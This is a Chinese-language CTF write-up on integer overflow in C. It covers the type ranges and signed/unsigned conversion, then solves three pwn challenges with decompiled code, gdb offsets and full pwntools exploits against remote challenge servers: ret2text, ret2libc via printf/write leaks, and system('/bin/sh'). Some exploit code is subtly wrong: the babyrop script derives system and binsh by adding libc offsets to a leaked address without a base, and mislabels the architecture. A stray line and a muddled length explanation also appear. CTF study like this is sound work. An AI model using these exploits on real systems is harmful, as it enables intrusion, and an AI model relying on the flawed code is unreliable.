整数溢出详解
前言
我们前面学习了栈迁移等一系列知识,想起来还有整数溢出没有学习,这里记录一下学习过程,也分享给各位进行学习。
基础知识
CTFwiki是这么说的:
在 C 语言中,整数的基本数据类型分为短整型 (short),整型 (int),长整型 (long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:
类型 | 字节 | 范围 |
---|---|---|
short int | 2byte(word) | 0至32767(0-0x7fff) -32768至-1(0x8000~0xffff) |
unsigned short int | 2byte(word) | 0至65535(0至0xffff) |
int | 4byte(dword) | 0至2147483647(0~0x7fffffff) -2147483648至-1(0x80000000~0xffffffff) |
unsigned int | 4byte(dword) | 0至4294967295(0~0xffffffff) |
long int | 8byte(qword) | 正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff |
unsigned long int | 8byte(qword) | 0~0xffffffffffffffff |
当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。
溢出类漏洞
计算机中有 4 种溢出情况,以 32 位整数为例。
① 无符号上溢:无符号数 0xffffffff 加 1 会变成 0。
② 无符号下溢:无符号数 0 减去 1 会变成 0xffffffff,即-1。
③ 有符号上溢:有符号正数 0x7fffffff 加 1 变成 0x80000000, 即从 2147483647 变成了-2147483648。
④ 有符号下溢:有符号负数 0x80000000 减去 1 变成 0x7fffffff,即从-2147483648 变成了 2147483647。
一个经典的整数溢出例子就是 c 语言的 abs 函数,int abs(int x),该函数返回 x 的绝对值。但当 abs()函数的参数是 0x80000000 即-2147483648 的时候,它本来应该返回2147483648,但正整数的范围是 0-2147483647,所以他返回的仍然是个负数,即本身-2147483648。
看起来不是很好理解吧,这里我比较通俗的画图进行解释(这里以unsigned short int为例)
1字节->8位
经过转化,可以看到是符合我们上面给出的范围的,如果我们输入一个十进制数为65536呢?
65536相当于在65535后面加上一个1,这样的话其实就溢出了,根据计算机的存储原理,这样的话就会变为0,然后就会变成
1 00000000 00000000这个情况,但是unsigned short int占用2字节,所以取00000000 00000000
所以我们是不是就是根据上面这个原理,将一些很大的数或者负数会和某一个数字相同,这其实也就是整数溢出的利用原理
我们也可以写一个程序,看一下是不是符合我们上面说的这个逻辑
#include <stdio.h>
int main(){
unsigned short int var1 = 1,var2 = 65537;
if (var1==var2)
{
printf("stackoverflow");
}
return 0;
}
可以看到经过测试确实是存在上述逻辑的,接下来结合题目进行讲解
实操
int_overflow
溢出类漏洞
checksec&file
32位程序,开启了堆栈不可执行
IDA静态分析
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
就是一个选择选项的逻辑,如果选1就跳转到login(),如果选2则退出
login()
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}
这里大体看一下是不存在漏洞的,再看一下check_passwd()
check_passwd()
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
这里存在栈溢出的点,可以利用strcpy将s的值复制给dest,这就存在栈溢出了
可以看到定义了一个无符号变量v3,v3就是输入的变量s的长度
然后这里利用strlen()对变量s的长度进行了检测,其实这里也就是我们之后利用整数溢出的漏洞利用点
what_is_this()
int what_is_this()
{
return system("cat flag");
}
后门函数
其实这道题目的思路也就有了,就是利用整数溢出绕过检测,然后ret2text
gdb动调
在check_passwd下一个断点
b *0x080486A4
之后输入username和passwd看一下栈结构找一下溢出字节
>>> 0xffffce80-0xffffce6c
20
20+4=24
exp:
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='i386'
p=remote("61.147.171.105",59290)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p,'b *$rebase(0x13aa)')
pause()
backdoor=0x0804868B
ru('Your choice:')
s('1')
r
s('evil')
payload = b'a'*0x14 +b'a'*4 + p32(backdoor)
payload = payload.ljust(260,b'a')
ru('Please input your passwd:')
s(payload)
p.interactive()
解释一下exp中最关键的一步
首先这里是先进行了一个栈溢出,覆盖了父函数的ebp,然后将ret_addr设定为后门函数,之后为什么我们要填充payload长度为260呢
这里v3的类型是unsigned __int8,是无符号型,而且是int8的,一共8位,这里算一下十进制
最大是255,所以我们这里的整数溢出是
3+255->258,如果我们长度超过了258即可溢出,如果是258的话其实就是0
我们passwd的范围是3<=passwd<8,所以这里我选用了260
pwn2_sctf_2016
符号转换类漏洞
file&checksec
IDA分析
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
调用了vuln()函数
vuln()
int vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(nptr, 4);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(nptr, v2);
return printf("You said: %s\n", nptr);
}
这里存在栈溢出漏洞,我们定义的nptr()变量距离ebp距离为0x2c,如果我们绕过长度限制,是不是就可以读入超过0x2c距离的字节呢,因此就产生栈溢出
get_n()
int __cdecl get_n(int a1, unsigned int a2)
{
unsigned int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int i; // [esp+Ch] [ebp-Ch]
for ( i = 0; ; ++i )
{
v4 = getchar();
if ( !v4 || v4 == 10 || i >= a2 )
break;
v2 = i;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + i;
*(_BYTE *)(a1 + i) = 0;
return result;
}
这里通俗一点讲,其实就是第一个参数是指针,第二个参数是输入的长度,这里有一个整数溢出漏洞点,我们这里的第二个参数的类型是
unsigned int,但是回到我们的vuln(),这里定义的第二个参数其实是int类型的,属于强制类型转换,因此产生整数溢出漏洞
gdb动调
看一下溢出字节
0xffffcbd8-0xffffcbac=44
44+4=48
所以我们思路也就有了:
- 对于绕过长度限制,我们可以利用-1,因为对于这种进行强制类型转换的,前面也说了在get_n()中第二个参数的类型是unsigned int,但vuln()调用get_n()函数的时候第二个参数的类型是int,所以我们int里的-1->0xffffffff,对于unsigned int->4294967295,从而绕过长度限制
- 之后利用printf泄露libc基地址,ret2libc打法
exp:
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='i386'
p=remote("node4.buuoj.cn",25883)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('Ubantu16 32bit.so')
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p,'b *$rebase(0x13aa)')
pause()
ret=0x08048346
printf_plt=0x08048370
printf_got=elf.got['printf']
leak('printf_got',printf_got)
main=elf.symbols['main']
ru('How many bytes do you want me to read? ')
sls(-1)
ru('bytes of data!\n')
pl='a'*48+p32(printf_plt)+p32(main)+p32(printf_got)
sl(pl)
ru('\n')
printf=uu32(r(4))
leak('printf',printf)
libcbase=printf-libc.symbols['printf']
leak('libcbase',libcbase)
system=libcbase+libc.symbols['system']
leak('system',system)
binsh=libcbase+next(libc.search('/bin/sh\00'))
leak('binsh',binsh)
ru('How many bytes do you want me to read? ')
sls(-1)
pl2='a'*48+p32(system)+p32(main)+p32(binsh)
ru('bytes of data!\n')
sl(pl2)
p.interactive()
[OGeek2019]babyrop
strncmp绕过+整数溢出
file&checksec
IDA静态分析
这道题目去除了符号表
main()
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
调用了sub_80486BB(),然后fd是open的返回值
如果操作成功,它将返回一个文件描述符,如果操作失败,它将返回-1;
之后就是一个read(),就是将fd所指向的随机数写入到buf,长度4个字节
之后再v2赋值,再对v2进行判断
sub_80486BB()
int sub_80486BB()
{
alarm(0x3Cu);
signal(14, (__sighandler_t)handler);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}
sub_804871F()
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
这里是先将随机数通过sprintf()函数写入数组s中,之后v5 read()读取buf 0x20的大小,之后再比较buf与s的前v1个字符,如果成功则打印字符,不相同则退出程序,然后返回buf[7]的值,所以我们需要构造buf[7]
sub_80487D0()
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}
就是一个判断,如果a1的值等于127,则想buf中写入0xc8的大小,否则写入a1大小的值,这里也是存在栈溢出的点
思路:
- 首先绕过strncmp()函数
- 构造合适大小的a1值
- ret2libc
绕过strncmp()
我们经过前面的分析,buf是生成的随机数,s是一个数组,是不可能完全相等的,但是我们可以利用00截断,将buf的长度设置为0,这样的话其实就可以绕过了
strcmp的特性是遇到’\0’就停止比较字符串,这里可以考虑00截断绕过。
构造合适大小的a1值
这个就需要利用ASCII码转义'\x'了,因为a1被定义为char类型,所以需要利用ascii码转义
'\xhh'->两位十六进制
'\xff'->255
所以可以进行构造一个能够溢出的长度
exp:
#coding=utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'
p=remote("node4.buuoj.cn",28775)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so')
s = lambda data :p.send(data)
ss = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sls = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(p,'b *$rebase(0x13aa)')
pause()
write_plt=elf.symbols['write']
leak('write_plt',write_plt)
read_got=elf.got['read']
leak('read_got',read_got)
main=0x08048825
pl='\00'+'\xff'*7
s(pl)
ru('Correct\n')
pl2=cyclic(235)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
s(pl2)
read=uu32(r(4))
leak('read',read)
system=read+libc.symbols['read']
leak('system',system)
binsh=read+next(libc.search('/bin/sh\00'))
leak('binsh',binsh)
s(pl)
ru('Correct\n')
pl3=cyclic(235)+p32(system)+'a'*4+p32(binsh)
s(pl3)
p.interactive()
- 第一个框,绕过strncmp()函数
- 第二个框,进行构造ret2libc打法
- 第三个框getshell